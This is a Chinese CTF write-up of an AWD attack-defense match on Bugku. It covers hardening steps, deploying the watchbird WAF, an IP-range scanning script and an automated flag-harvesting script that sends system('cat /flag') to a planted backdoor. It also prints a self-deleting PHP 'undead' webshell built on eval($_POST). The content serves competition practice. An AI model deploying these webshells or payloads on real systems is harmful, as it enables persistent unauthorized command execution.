前言
这是第二次打AWD了,也算是终于有了点产出了,排到了第4,虽然这次的漏洞实在是太简单了……当然难的我也不会,第一名的大哥最后一轮直接通杀了,感觉是把pwn的漏洞做出来了。也感谢我的两个队友,师傅们都太强了orz
SSH连接
rm -rf xxxx 删除命令 //当发现服务器被上马了可以快速删掉
Remote host填虚拟IP
New一个用户名和密码,填bugku上给的就行,用户名一般是teamx,然后端口给啥就要填啥,bugku的awd端口是2222
加固阶段
备份源码
1、将网站目录(一般在/var/www/html这个文件夹下)打包成 tar(先进入根目录)
cd /tmp
tar -zcvf /tmp/web.tar.gz /var/www/html/* //文件备份
tar -zxvf web.tar.gz -C /var/www/html //文件恢复
恢复错目录:/var/www/html/var/www/html/
导致看鸟设置的路径为:http://192-168-1-183.pvp5377.bugku.cn/var/www/html/index.php?watchbird=ui
发现有漏洞就删掉漏洞文件,并且想办法利用这个后门文件去攻击别人的服务器
rm -rf xxx.php
放进D盾
把源码放进D盾,既可以发现自己服务器上的后门,也可以发现后门并尝试 攻击别人。同样的记住后门路径并且删掉。
cd /tmp
mkdir temporary
用xftp传输文件到temporary目录下
watchbird:git clone https://github.com/leohearts/awd-watchbird.git 路径
工具部署
1.进入下载好的文件夹目录
2.编译waf.c生成.so文件,参考命令:gcc waf.c -shared -fPIC -o waf.so (虚拟机安装GCC、GCC++)
3.将waf.so,watchbird.php文件存放在/var/www/html或/tmp或者其他目录中 (有权限的目录)
4.将watchbird.php放在www-data可读的目录,确保当前用户对目标目录可写,然后执行php watchbird.php –install [Web目录],安装器将输出安装了watchbird的文件路径
(ps:或者将以下代码放入需要启用waf的php脚本的第一行
<?php include_once "/var/www/html/watchbird.php" ?>)
5.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码并进行相关配置 (ps:http://192-168-1-183.pvp5377.bugku.cn/var/www/html/index.php?watchbird=ui)
攻击阶段
扫描IP段
import requests
url_alive = []
url = "http://192-168-1-"
url2 = ".pvp5377.bugku.cn:80"
for i in range(1,256):
url_new = url + '{}'.format(i) + url2
try:
if(requests.get(url_new).status_code == 200):
print(url_new + '能访问到')
except:
pass
扫一下可以访问的ip段,发现了如下ip是可以访问的
D盾扫描发现了有后门漏洞,assert利用一下就可以了
利用第四个,在路径/cms/cms/install/1.php路径有一个马,可以直接进行命令执行,写一个脚本可以自动化获取flag,前几轮有四个队没有修这个洞,拿了几轮4个flag。
import requests
import time
# 定义靶机列表
targets = [
"http://192-168-1-7.pvp5377.bugku.cn:80",
"http://192-168-1-19.pvp5377.bugku.cn:80",
"http://192-168-1-75.pvp5377.bugku.cn:80",
"http://192-168-1-84.pvp5377.bugku.cn:80",
"http://192-168-1-98.pvp5377.bugku.cn:80",
"http://192-168-1-102.pvp5377.bugku.cn:80",
"http://192-168-1-106.pvp5377.bugku.cn:80",
"http://192-168-1-149.pvp5377.bugku.cn:80",
"http://192-168-1-176.pvp5377.bugku.cn:80",
"http://192-168-1-183.pvp5377.bugku.cn:80",
"http://192-168-1-189.pvp5377.bugku.cn:80",
"http://192-168-1-209.pvp5377.bugku.cn:80",
"http://192-168-1-217.pvp5377.bugku.cn:80"
]
# 定义payload路径
payload_path = "/cms/cms/install/1.php?s=system('cat%20/flag');"
# 存储每个靶机的最新 flag
flags = {}
# 监控频率(秒)
interval = 10
while True:
# 遍历所有靶机
for target in targets:
url = target + payload_path
try:
# 发送请求
response = requests.get(url, timeout=5)
if response.status_code == 200:
new_flag = response.text.strip()
# 如果该靶机的 flag 发生变化,输出新 flag 并更新记录
if target not in flags or flags[target] != new_flag:
print(f"Flag changed for {target}: {new_flag}")
flags[target] = new_flag
else:
print(f"Failed to retrieve flag from {target}: Status code {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error accessing {target}: {e}")
# 等待一段时间后重新检查
time.sleep(interval)
补充
打之前学了点东西进行临时抱佛脚,也一并贴在这里了。
不死马示例
谨慎使用,不要在真实环境使用 ,容易吃大锅饭
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
$content = '<?php @eval($_POST["cmd"]);?>';
file_put_contents("shell.php",$content);
usleep(10000);
}
?>
1、ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开。
2、set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
3、unlink(__FILE__)函数;删除文件。
4、file_put_contents函数;将一个字符串写入文件。
5、usleep函数:延迟执行当前脚本若干微妙(一微妙等于一百万分之一秒)
AWD 攻防全流程
1、ssh连接
2、备份html文件夹,D盾扫描,发现其中的后门或者漏洞
3、上看鸟通防
php watchbird.php –install [Web目录]
例如:php watchbird.php –install /var/www/html
在网页运行/?watchbird=ui 进行管理系统界面,第一次需要设置密码
4、扫描IP网段,查询存在的IP(脚本扫描)
5、通过自己D盾扫描的漏洞,尝试进行漏洞利用,获取flag